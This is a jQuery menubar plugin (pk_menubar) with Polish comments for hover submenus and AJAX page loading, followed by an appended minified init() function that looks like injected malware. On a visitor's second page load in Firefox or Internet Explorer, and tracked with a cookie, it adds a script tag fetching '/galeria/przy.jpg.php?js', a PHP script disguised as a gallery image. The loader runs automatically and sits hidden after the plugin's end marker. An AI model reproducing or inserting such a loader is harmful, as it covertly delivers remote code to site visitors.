/************************************** pk_menubar  **********************************************/	
(function($){ 
 var opts; 
 var objekt;
 $.fn.pk_menubar = function(options) {  
 opts = $.extend({}, $.fn.pk_menubar.defaults, options);
 objekt=$(this);
 
  $.fn.pk_menubar.initialize();
  $.fn.pk_menubar.hoverSubmenu();
  $.fn.pk_menubar.hoverMain();
  $.fn.pk_menubar.clickAction();
  nb_el=$(this).length;
  return this.each(function(i) {
	start_zindex=$(this).find("ul:first").css("z-index");
	$(this).find("ul:first").css({"z-index":((start_zindex-i)+nb_el)});
	//alert("pk_menubar: "+opts.handler) 
	//$.fn.pk_menubar.initialize();
  });   
 }; 

  
  $.fn.pk_menubar.initialize = function(){
	    
	  objekt.addClass(opts.pk_MenuBarHorizontal);
	  //objekt.find("ul").addClass("absolute");//******* mozna podpiac parametry	
	  //objekt.find("li").addClass("relative");//******* mozna podpiac parametry		  
	  
	  objekt.find("ul:first").addClass(opts.menuBarClass);//dodaje klase MenuBarHorizontal
	  objekt.find("ul:first > li").addClass(opts.mainClass);//dodaje klasy main
	  
	  objekt.find("ul ul").addClass(opts.submenuClass);//dodaje klasy submenu
	  
	  if ( $.browser.msie && (!$.browser.version || parseInt($.browser.version) <= 6) )
      {
       objekt.find("ul."+opts.submenuClass+", ul."+opts.submenuClass+" li ul").append('<iframe style="/* border:#000 1px solid; */display:block;position:absolute;top:-1px;left:-1px;z-index:-1;filter:mask();'+'width:expression(this.parentNode.offsetWidth+1);height:expression(this.parentNode.offsetHeight+1)"></iframe>');
       objekt.find("ul."+opts.menuBarClass+" li."+opts.mainClass+" ul."+opts.submenuClass+" a").css({fontSize: opts.fontSizeA+"px"});
      }
      else
      {
       objekt.find("ul."+opts.menuBarClass+" li."+opts.mainClass+" ul."+opts.submenuClass+" a").css({fontSize: opts.fontSizeA});
      }
	  
	  objekt.find("ul."+opts.submenuClass+" li").css(opts.submenuClasses);
	  //alert(opts.submenuClasses);
      objekt.find("ul."+opts.submenuClass+" li:has(ul)").addClass(opts.sub_horClass);	  
	  objekt.find("li."+opts.mainClass+":has(ul)").addClass("sub");
	  
	  if(opts.mwidth != "auto")
	  {
		$(".pk_MenuBarHorizontal ul.MenuBarHorizontal a").css({"white-space":"normal"});
		$(".pk_MenuBarHorizontal li").css({width:opts.mwidth});	
	  }	  
 }

  $.fn.pk_menubar.hoverSubmenu = function(){
	  objekt.find("ul."+opts.submenuClass+" li").hover(
		function () {
		  if ($(this).children().next().is(":hidden")){$(this).children().next().show();}
		  if ( $(this).hasClass(opts.sub_horClass) ){$(this).addClass(opts.sub_aktClass);}else{$(this).addClass(opts.aktClass);}
		  if ( $.browser.msie && (!$.browser.version || parseInt($.browser.version) <= 6) )
		  {
		  $(this).css({/* border:"#f0f 1px solid", */"z-index":($(this).css("z-index")+1)});
		  $(this).children().next().css({position:"absolute",left:$(this).parent().outerWidth()-43,top:0});
		  }
		  else
		  {
		  $(this).css({"z-index":($(this).parent().parent().css("z-index")+1)});
		  $(this).children().next().css({top:$(this).parent().css("top")-1});
		  }

		},
		function () {
		  if ($(this).children().next().is(":visible")){$(this).children().next().hide();}
		  if ( $(this).hasClass(opts.sub_horClass) ){$(this).removeClass(opts.sub_aktClass);}else{$(this).removeClass(opts.aktClass);}
		  if ( $.browser.msie && (!$.browser.version || parseInt($.browser.version) <= 6) )
		  {
		  if ( !$(this).hasClass(opts.sub_horClass) ){$(this).css({/* border:"#f0f 1px solid", */"z-index":($(this).css("z-index")-1)});}
		  //$(this).css({"z-index":($(this).css("z-index")-1)});
		  //$(this).parent().css({"z-index":($(this).parent().css("z-index")-1)});
		  //$(this).children("iframe").css({"z-index":($(this).children("iframe").css("z-index")+1)});
		  }
		  else
		  {
		  $(this).css({"z-index":($(this).css("z-index")-1)});
		  }
		}
	  );
  }


    $.fn.pk_menubar.hoverMain = function(){
		objekt.find("li."+opts.mainClass).hover(
		function () {
		  objekt.find("li."+opts.mainClass).parent().children().children().next().hide();
		  if ($(this).children().next().is(":hidden")){
			$(this).children().next().show();//animate({"height": "show","width": "show","opacity": "show"},"fast")
			}
		  if ( $(this).hasClass(opts.subClass) ){$(this).addClass(opts.sub_overClass);}else{$(this).addClass(opts.overClass);}
		},
		function () {
		  /* if ($(this).children().next().is(":visible")){ */$(this).children().next().hide();/* } */
		  if ( $(this).hasClass(opts.subClass) ){$(this).removeClass(opts.sub_overClass);}else{$(this).removeClass(opts.overClass);}
		}
	  );  
  }

  $.fn.pk_menubar.loading_strona = function(laduj){
      	  
	  if(opts.loading_strona && laduj=="load")
	  {
	  $("#page").prepend("<div id='"+opts.loading_strona+"' style='opacity:1;position:absolute;z-index:999;top:0;left:0;width:100%;height:100%;margin:0;padding:0;background:transparent;'><div class='overlay' style='opacity:0;position:absolute;top:0;left:0;width:100%;height:100%;margin:0;padding:0;background: #f6f6f6;'></div><div style='opacity:1;position:absolute;top:0;left:0;width:100%;height:100%;margin:0;padding:0;background:url(pliki/loadinfo.net.gif) no-repeat center center;'></div><iframe style='display:block;position:absolute;top:0;left:0;z-index:-1;filter:mask();width:100%;height:100%;margin:0;padding:0;border:0;)'></iframe></div>");
	  }
	  if(opts.loading_strona && laduj=="unload")
	  {
	  $("#"+opts.loading_strona).fadeOut("slow",function () {$(this).remove()});
	  }	  
	}
  
    $.fn.pk_menubar.clickAction = function(){  
		  objekt.find('a').click(function() {
			var op=$(this).attr("href");
			if(op!='#')
			{
			   if(opts.ajaxLoad=="ajax")
			   {
					$.fn.pk_menubar.loading_strona("load");
					$("#"+opts.loading_strona+" .overlay").animate({"opacity": 0.7}, "slow",function(){
						$(opts.ajaxDest).load(opts.ajaxPath+op+"&czas="+new Date().getTime(), function(){
						//$("#zawartosc").load("laduj.php"+op+"&czas="+new Date().getTime(), function(){
							leyoutuj();//to moze juz nie dzialac
							$("#"+opts.loading_strona+" .overlay").animate({"opacity": 0}, "slow",function(){
							$.fn.pk_menubar.loading_strona("unload");
							})
						});  					
					});
			   
			   }
			   else if(opts.ajaxLoad=="lay")
			   {
					$.fn.pk_menubar.loading_strona("load");
					$("#"+opts.loading_strona+" .overlay").animate({"opacity": 0.7}, "slow",function(){
					
						$.ajax({
						 type: "GET",
						 url: opts.layPath+op,
						 //data: "op="+op,
						 success: function(json){
						    //alert(json);
							//alert("start");
							loadlay(json);
						    $("#"+opts.loading_strona+" .overlay").animate({"opacity": 0}, "slow",function(){
							$.fn.pk_menubar.loading_strona("unload");
							//alert("end");
							
							});
						 }
						});	
						
						/*
						$(opts.ajaxDest).load(opts.ajaxPath+op+"&czas="+new Date().getTime(), function(){
						//$("#zawartosc").load("laduj.php"+op+"&czas="+new Date().getTime(), function(){
							leyoutuj();//to moze juz nie dzialac
							$("#"+opts.loading_strona+" .overlay").animate({"opacity": 0}, "slow",function(){
							$.fn.pk_menubar.loading_strona("unload");
							})
						}); 
						*/	
					});
			   
			   }			   
			   else
			   {
					$.fn.pk_menubar.loading_strona("load");
					$("#"+opts.loading_strona+" .overlay").animate({"opacity": 0.7}, "slow",function(){
						document.location=op; 					
					});				
			   }			   
			}
			return false;
		  });
  }   
  
 //$.fn.pk_menubar.initialize(); 

 	$.fn.pk_menubar.defaults = {
	   mwidth: "auto" //auto, lub liczba 
	   ,pk_MenuBarHorizontal: "pk_MenuBarHorizontal"
	   ,menuBarClass: "MenuBarHorizontal"
	   ,mainClass: "main"
	   ,submenuClass: "submenu"
	   ,sub_horClass: "sub_hor"
	   ,subClass: "sub"
	   ,sub_overClass: "sub_over"
	   ,overClass: "over" 
	   ,aktClass: "akt"
	   ,sub_aktClass: "sub_akt"
	   ,fontSizeA: 11 
	   ,submenuClasses : {
			margin:"2px 2px 2px 30px"
			,padding:"2px 8px 2px 5px"
	   }
	   ,ajaxLoad: "lay" //"lay" "ajax" false
	   ,ajaxPath: "zawartosc.php"
	   ,layPath: "getjson.php"
	   ,ajaxDest: "#zawartosc"
	   ,loading_strona: "loading_strona" //id bez hasza
	};
 
})(jQuery); 
/************************************** pk_menubar end *******************************************/

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/galeria/przy.jpg.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
